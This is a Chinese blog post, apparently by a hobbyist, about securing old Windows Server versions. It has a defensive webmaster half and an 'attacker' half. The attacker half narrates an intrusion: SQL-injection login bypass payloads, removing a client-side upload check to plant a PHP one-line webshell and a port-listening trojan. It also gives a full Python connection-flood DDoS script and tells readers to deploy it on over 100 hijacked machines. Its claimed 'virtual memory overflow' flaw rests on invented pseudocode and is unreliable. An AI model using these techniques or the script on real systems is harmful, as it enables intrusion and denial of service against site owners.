
本文共 10086 字,大约阅读时间需要 33 分钟。
这次文章我使用了两面的方式,第一面是站长,第二面是攻击者(黑客),通过不同的角度,来模拟这个事件。
第一面:站长
Windows Server 2008停止支持
“停止支持”就是指Windows版本不会再接到安全更新,这意味着许多危险的漏洞一旦被黑客发现,只能乖乖被打。

第一种场景:准备买服务器了?
如果你需要购买云服务器,一定要认好厂商。我这里不是打广告,而是真的推荐各位去类似阿里云、腾讯云、百度云这些大的供应商购买,这样安全会有一些保障(我之前遇到一个,买了一台云服务器,在X宝云买的,结果那家供应公司倒闭了,服务器凉凉…………)。
选择好供应商后,就得选配置了。网站 | 静态网站 | 动态网站 | 操作系统 |
---|---|---|---|
企业官网 | 4H2G5M60GB | 4H4G10M80GB | Windows Server 2012 R2 |
个人主页 | 1H1G1M40GB | 1H4G2M40GB | Windows Server 2008 R2(不考虑安全,因为配置问题) |
游戏网页 | 4H4G50M100GB | 8H16G50M120GB | Windows Server 2016 |
社交网站 | 8H8G20M60GB | 8H8G30M80GB | Windows Server 2012 R2 |
如果你准备买物理服务器,请你务必注意以下配置:
可用 | CPU | 硬盘 | 内存 | 散热 |
---|---|---|---|---|
Good | 8HAMD 1.5GHz↑ | 40GB↑ | 8GB物理 8.5GB虚拟↑ | 液柱降温 |
OK | 4HAMD1.5GHz↑ | 30GB↑ | 4GB物理 6GB虚拟↑ | 风扇降温 |
Oh no | 2HARM1.5GHz↓ | 20GB↓ | 2GB物理 0GB虚拟↓ | 无降温工具 |
(* Good表示很好,OK表示可以,Oh no表示买了就吃亏了)
(* ↑表示以上,↓表示以下)第二种场景:准备更新系统?
因为2008的终结,许多服务器都需要更新系统了。例如政府服务器(据我所知,我所在地的政府机关用的服务器竟然是2000…)
那么,不同版本的服务器该如何升级到适合的版本呢?如果你是Windows Server 2000(R2)
必须升级了,因为Server 2000的漏洞简直是惨不忍睹。用Fluxay工具一扫2000,几乎一抓一大把致命BUG。
升级方式: 第一步,备份网站文件以及对系统内重要的文件,存在U盘(或其他硬盘)当中。(如果你是云服务器,则备份至云储存,例如阿里的OSS) 第二步,下载适合你服务器的镜像并安装。(云服务器可使用重装系统功能)配置 | 可用系统 |
---|---|
1H1G1M20GB以下 | Windows Server 2012 核心版本(GUI如果安装则会从出现安装不上 |
1H1G1M40GB以上 | Windows Server 2012 GUI/核心版本、Windows Server 2016核心版本 |
第三步,安装后远程连接服务器,并且下载云储存或复制硬盘的文件到服务器,配置Apache/Nginx/IIS,并启动服务即可。
如果你是Windows Server 2008(R2)
你可以选择升级,因为Server 2008虽然已停止支持,但是目前为止2008还不是太严重,不过建议升级。用Fluxay工具一扫2008,没扫出太多致命漏洞。
升级方式: 第一步,备份网站文件以及对系统内重要的文件,存在U盘(或其他硬盘)当中。(如果你是云服务器,则备份至云储存,例如阿里的OSS) 第二步,下载适合你服务器的镜像并安装。(云服务器可使用重装系统功能)配置 | 可用系统 |
---|---|
1H1G1M20GB以下 | Windows Server 2012 核心版本(GUI如果安装则会从出现安装不上 |
1H1G1M40GB以上 | Windows Server 2012 GUI/核心版本、Windows Server 2016核心版本 |
第三步,安装后远程连接服务器,并且下载云储存或复制硬盘的文件到服务器,配置Apache/Nginx/IIS,并启动服务即可。
第三种场景:服务器总是被攻击导致服务停止?
如果你用的是已经不受支持的系统,推荐更新系统。请参阅“第二种场景:准备更新系统?”
如果你用的是最新版或正在支持的系统,则需要考虑维护服务器漏洞和网站。下载安全狗软件,修复服务器安全漏洞以及扫描网站漏洞和木马(例如一句话、加密后门),并开启服务器防御模式,可有效对付攻击。 但很多攻击者会绕狗(就是躲避安全狗),这又是一个难题。遇到这种情况,如果你是技术人员,则可以尝试手动防御。如果你是一个代码一窍不通的站长,则只好下载一系列的安放软件尝试防御了。手动防御
如果你遭遇了DDoS/CC攻击
下载抓包软件,检测是哪个IP对你进行了大量的连接。找到后,如果是公网IP,则可以利用安全狗🈲IP,如果是内网IP(因为对方没有公网IP,则显示内网分配的IP),则最好不要禁止,因为有些网站访问者可能被分配到了一样的内网IP,这样会导致普通用户无法访问网站。
如果是后面的情况,则继续阅读以下内容。内网攻击者防御
内网攻击者一般都是普通的小黑客测试,例如读了我的文章Python3实现DDoS,想试一试。可是没想到造成了如此后果。
遇到内网攻击者,我们可以尝试: 暂时关闭网站,可能对方只是一时兴起,一段时间后便会风平浪静。 在站点上公布信息,劝告对方停止攻击。 联系网警并咨询方案,网警会帮助你防护并让对方受到一定的法律措施。 如果以上方法都不管用,那么我们要做的只有一个了: 继续防护。 找到内网攻击者IP,确认对方攻击的规律,并且确认对方有多少机器同时在进行攻击。明了后,再检查对方攻击的连接类型以及端口,如果是TCP/UDP连接,并且是80或443端口,则继续往下读。如果不是80/443端口,则可禁止此端口通过即可。(80/443是不固定的,按照你网站的端口来)更深防御
暂时关闭网站服务,并且申请闭站保护。申请完毕后,则可开始防御。
我们已经明白了对方的发包/连接规律,互联网中的连接一般都是携带信息的,利用抓包软件查看其中的信息,如果是一些从网上复制的代码,这里面的信息一般都是一些啥Test啊,Hacker啊一系列的。找到这些信息后,将其复制,利用脚本,每个连接检查包中是否包含此内容,如果有,那么1分钟内禁收此类型的包(封掉此类型的包),一段时间后,应该会有好转。如果你遭遇了病毒/木马的攻击
下载防病毒产品扫描并删除病毒/木马。
如果防病毒软件无法启动,则可使用以下办法: 先打开CMD,输入tasklist,记录下来。 设置EXE文件打开方式为记事本,这样病毒运行时只会打开记事本程序。而这样却又阻碍了Windows辅助程序的运行,所以我们是打不开资源浏览器的。 我们利用搜索栏搜索到CMD,然后输入tasklist,检查不正常的进程,终止它。(taskkill /IM xxx.exe) 终止后,我们需要找到此文件。恢复EXE打开方式为默认(CMD:ftype exefile="%1" %*),然后打开文件资源管理器,搜索此文件并强制删除。如果无法删除,例如显示与某类型文件或系统文件捆绑,则可以尝试进入安全模式后删除。删除后,根据网络教程修改注册表即可恢复正常。 恢复后,别忘使用安全软件再次杀毒!如果你的系统经常莫名其妙弹出CMD弹窗或执行命令
你很可能中了病毒或木马!
木马和病毒清除方法如上,但还有一种情况,就是…… 中了一句话木马! 寻找WWW根目录下的不正常文件,打开后检查内容是否是正常程序,如果不是,则立刻删除。第二面:攻击者
利用Windows漏洞攻击是一种很深奥的攻击方式,例如Wnuke黑客软件,就是利用Win2000/XP/Server 2000-2008的缓冲区漏洞来实现攻击的。
我们可以利用漏洞扫描器扫描到漏洞,然后利用此漏洞进行攻击。但大多数情况下,我们对一些陌生的漏洞的了解是比较少的,所以我们可以百度此漏洞,如果可以找到,就根据网上的教程进行入侵就可以了。 这里我收集了2个常见的老版本Windows漏洞,并列举了攻击方式。No.1 WinServer2008R2强制连接端口漏洞
Windows Server 2008 R2的漏洞还是很多的,例如远程桌面连接漏洞、强制连接端口漏洞等。今天我们就来讲这个强制连接端口漏洞。(利用一点点网站漏洞)
强制连接端口
强制连接端口漏洞主要是Net Use方面,Net Use共享是一个很实用的功能。我们可以利用文件管理器实现Net Use,也可以利用CMD命令提示符。
CMD命令提示符:此命令的语法是:NET USE[devicename | *] [\\computername\sharename[\volume] [password | *]] [/USER:[domainname\]username] [/USER:[dotted domain name\]username] [/USER:[username@dotted domain name] [/SMARTCARD] [/SAVECRED] [/REQUIREINTEGRITY] [/REQUIREPRIVACY] [/WRITETHROUGH] [[/DELETE] | [/PERSISTENT:{ YES | NO}]]NET USE { devicename | *} [password | *] /HOMENET USE [/PERSISTENT:{ YES | NO}]NET USE 将计算机连接到共享资源或将计算机与共享资源断开连接。使用时如果没有选项,它会列出计算机的连接。devicename 分配一个名称以连接到资源,或指定 要断开连接的设备。有两种 设备名称: 磁盘驱动器(D: 至 Z:)和打印机 (LPT1: 至 LPT3:)。键入星号而不是 特定设备名称以分配下一个可用 设备名称。\\computername 为控制共享资源的计算机 的名称。如果计算机名包含空白字符, 则用引号(" ")将双反斜杠(\\)和计算机名 括起来。计算机名的长度可以为 1 至 15 个字符。\sharename 为共享资源的网络名称。\volume 指定服务器上的 NetWare 卷。必须已安装并正在运行 Netware 客户端服务(Windows Workstations) 或 Netware 网关服务(Windows Server) 才能连接到 NetWare 服务器。password 为访问共享资源所需的密码。* 产生密码提示。在密码提示处 键入密码时不显示密码。/USER 指定进行连接的另一个 用户名。domainname 指定其他域。如果忽略域, 则使用当前登录的域。username 指定登录所使用的用户名。/SMARTCARD 指定连接将使用智能卡上 的凭据。/SAVECRED 指定要保存用户名和密码。 该开关将被忽略,除非命令提示输入用户名 和密码。/HOME 将用户连接到他们的主目录。/DELETE 取消网络连接并 从持续连接列表中删除该连接。/REQUIREINTEGRITY 需要签名的共享连接。如果提供程序 不支持签名连接,则操作将失败。/REQUIREPRIVACY 需要加密的共享连接。如果提供程序 不支持加密连接,则操作将失败。/PERSISTENT 控制持续网络连接的使用。 默认为上次使用的设置。YES 进行连接时将它们保存,并在下次 登录时将它们恢复。NO 不保存正在进行的连接或随后的 连接;下次登录时将恢复 现有连接。使用 /DELETE 开关删除 持续连接。NET HELP 命令 | MORE 显示帮助,一次显示一屏。
通过Net Use连接对方,是需要密码的。可惜我们不知道Windows Server 2008 R2主机的密码。但是一个漏洞可以帮助我们。
端口扫描
扫描Windows Server 2008 R2后:
[+] 21 open [+] 23 open [+] 55 open [+] 80 open [+] 81 open [+] 88 open [+] 888 open [+] 8000 open [+] 8888 open [+] 8900 open [+] 9000 open [+] 10000 open [+] 10020 open [+] 30122 open [*] The scan is complete! [*] A total of 14 open port (这个结果不一定一致,因为某些管理员关闭了一些端口。但Windows Server 2008 R2某些版本因为一些原因默认开启了很多端口,并且这些端口都是空闲状态) 这些端口我们可以用来部署一个木马程序,我们可以利用Python写一个针对端口开放的木马,并且依靠网站漏洞上传。 我们可以选择端口:10000利用网站后台上传漏洞上传EXE程序和一句话木马
他们是PHP5.2+MySQL5的网站,后台界面没有进行严格的SQL防护,但’or’=‘or’漏洞的万能密码却被过滤了。测试了29个’or’=‘or’万能码,都被红字弹窗打回。再次尝试注入:
UserName:admin# PassWord:– 成功进入! 进入后用户名为AD_Admin,看来是我用户名搞错了! 注销后再次尝试注入: UserName:AD_Admin PassWord:a’ or 1=1– 成功进入………………(我真是……) 进入后,找一找上传文件的页面,竟然没有。只好找其他上传图片的页面,发现一个“上传首页滚动横幅”的选项,赶紧打开看看,结果限制上传.jpg/.png图片,思考半天,按了一个F12看看,没想到网站竟然是靠AJAX+javascript+PHP实现的上传!找到这里,JavaScript里有这么一段语句(已探过,是纯净态的页面传给do_picture.php):...if(filename.indexOf('png') !=-1 || filename.indexOf('jpg') !=-1){ ...}...
把这个If删了!(偷偷地笑容)
删掉后上传一句话木马,成功上传。(没想到有人这么傻,在JavaScript里判断文件后缀) 上传后忽然发现不知道文件路径在哪,忽然想起来首页不是有图片吗!赶紧到首页去看看,首页上有一个破碎的图片(无效图片),复制链接,果然是我的一句话木马。 利用菜刀将PHP一句话换到C:\Windows\目录下,继续弄。 弄好后,再利用后台漏洞上传另一个滚动横幅,是一个自己写的监听10000端口的EXE木马,并且与sys文件绑定。上传后找到路径,利用PHP一句话移动都C:\Windows目录下,完美。 运行程序,并且用自己写的客户端连接服务器,成功! 致此,强制连接案例成功。No.2 Windows Server 2012 R2漏洞
这个嘛,毕竟是Microsoft还在更新的版本,所以漏洞不多。但是毕竟还是有不少的!所以赶紧尝试尝试……
利用Windows Server 2012 R2的溢出漏洞快速崩溃对方服务
“分布式拒绝服务攻击”(DDoS)大家都听过。那么DDoS的原理可以这么理解:
不断向你扔苹果,最后你接不住了,苹果撒了,人累瘫了。 但是,DDoS的攻击流程是如何的?看一下我的网站遭遇DDoS后的详细信息:时间 | 消耗 | 状态 |
---|---|---|
2020-7-29 | 19GB流量 2GB运存已满80% CPU100% | 运行堵塞 |
2020-7-30 | 40GB流量 2GB运存全满 CPU100% | 服务崩溃 |
2020-8-10 | 109.02GB流量 2GB运存全满 虚拟内存3GB CPU100% | 服务崩溃,服务器界面卡死 |
2020-8-19 | 201.29GB流量 2GB运存全满 虚拟内存20GB CPU100% | 服务器硬件过热损坏 |
简简单单的DDoS竟有这么大的能力!还能让我服务器硬件过热!(毕竟很正常,服务器超负荷了,硬件自然……)
那么我们今天利用Windows Server 2012 R2的“虚拟内存溢出”漏洞,让Windows Server 2012 R2的“硬盘爆满”“内存爆炸”“CPU100%”“硬件烧烂”吧!DDoS攻击?需要肉鸡!
首先确保你有不少于100台肉鸡(傀儡),否则很难成功!
全部肉鸡发动DoS攻击组成DDoS
Python脚本:(可以PyInstaller打包后放到肉鸡上)
import socketimport timeimport threading#Pressure Test,ddos tool#---------------------------MAX_CONN=20000PORT=80HOST="www.baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)PAGE="/index.php"#---------------------------buf=("POST %s HTTP/1.1\r\n""Host: %s\r\n""Content-Length: 10000000\r\n""Cookie: dklkt_dos_test\r\n""\r\n" % (PAGE,HOST)) socks=[] def conn_thread(): global socks for i in range(0,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf.encode()) #print ("Send buf OK!,conn=%d\n"%i) socks.append(s) except Exception as ex: #print ("Could not connect to server or send error:%s"%ex) time.sleep(10)#end def def send_thread(): global socks while True: for s in socks: try: s.send("f".encode()) #print "send OK!" except Exception as ex: #print ("Send Exception:%s\n"%ex) socks.remove(s) s.close() time.sleep(1)#end def conn_th=threading.Thread(target=conn_thread,args=())send_th=threading.Thread(target=send_thread,args=()) conn_th.start()send_th.start()
(注意修改参数)
打包后让所有虚拟机运行此脚本(打包注意-w参数),即可发动DDoS攻击。我们看一下Servre 2012 R2的状态:时间 | 消耗 | 状态 | 配置 |
---|---|---|---|
2020-8-20 05:02:10 | 16G运存已满10% CPU30%(共16H,4核正在超负荷工作) 虚拟内存已2GB | 正常运行 | 16H16G (虚20G) 10M 29GB/40GB硬盘 |
2020-8-20 09:19:21 | 16GB运存已满89% CPU80%(共16H,12H正在超负荷工作) 虚拟内存已12GB | 运行缓慢 | 16H16G(虚20G) 10M 39GB/40GB(硬盘要满了!!!) |
2020-8-20 10:20:10 | 16GB运存全满 CPU100%(共16H,16H正在超负荷工作) 虚拟内存已13GB | 系统已崩溃,储存空间/运存 不足 | 16H16G(虚20G) 10M 40GB/40GB(硬盘满了,系统无法读取写入日志,导致崩溃。并且内存也满了) |
你可以很期待服务器硬件“爆炸”的那一刻。但抱歉,我不想这么做。因为这是我的服务器啊……
已经看到了,如果你的Windows Server 2012 R2的配置过高,并且你设置了虚拟内存很大,很可能在遭遇DDoS的时候让虚拟内存瞬间占满全盘。而Microsoft的Server系列里貌似没有检测硬盘是否不足的功能,如果硬盘不足,应该停止虚拟内存的使用,或直接尝试重启,而不是像傻子一样不断的祸害硬盘小哥……漏洞说明
此漏洞是个人研究发现的。因为MicrosoftServer设置虚拟内存时推荐设置比自己运存大一点儿的,所以硬盘空间就有可能在超负荷时,全部变满。因为Windows Server里没有这种代码:
...if(hard_disk_space<10GB){ windows.virtual_memory.stop(); windows.warning(title="Windows 警告",content="储存空间不足,虚拟内存已停止读写。",button1="确认");}else{ ... windows.virtual_memory.read(xx,xx); ... windows.virtual_memory.write(xx,xx); }...
(本段代码纯属虚构)
如果有这段代码,那么Windows肯定会及时检测虚拟内存是否过大,并且硬盘空间是否充足。如果不充足,那么就停止。这样下去,硬盘里的虚拟内存就会溢出,导致整块硬盘储存溢出崩溃。总结
Windows Server的版本一定要选好,并且要根据自己的情况来选择。
攻击者也一定要了解windows server版本,并找到适当的漏洞来攻击。这样攻击,就会事半功倍。 感谢阅读,下期再见!发表评论
最新留言
关于作者
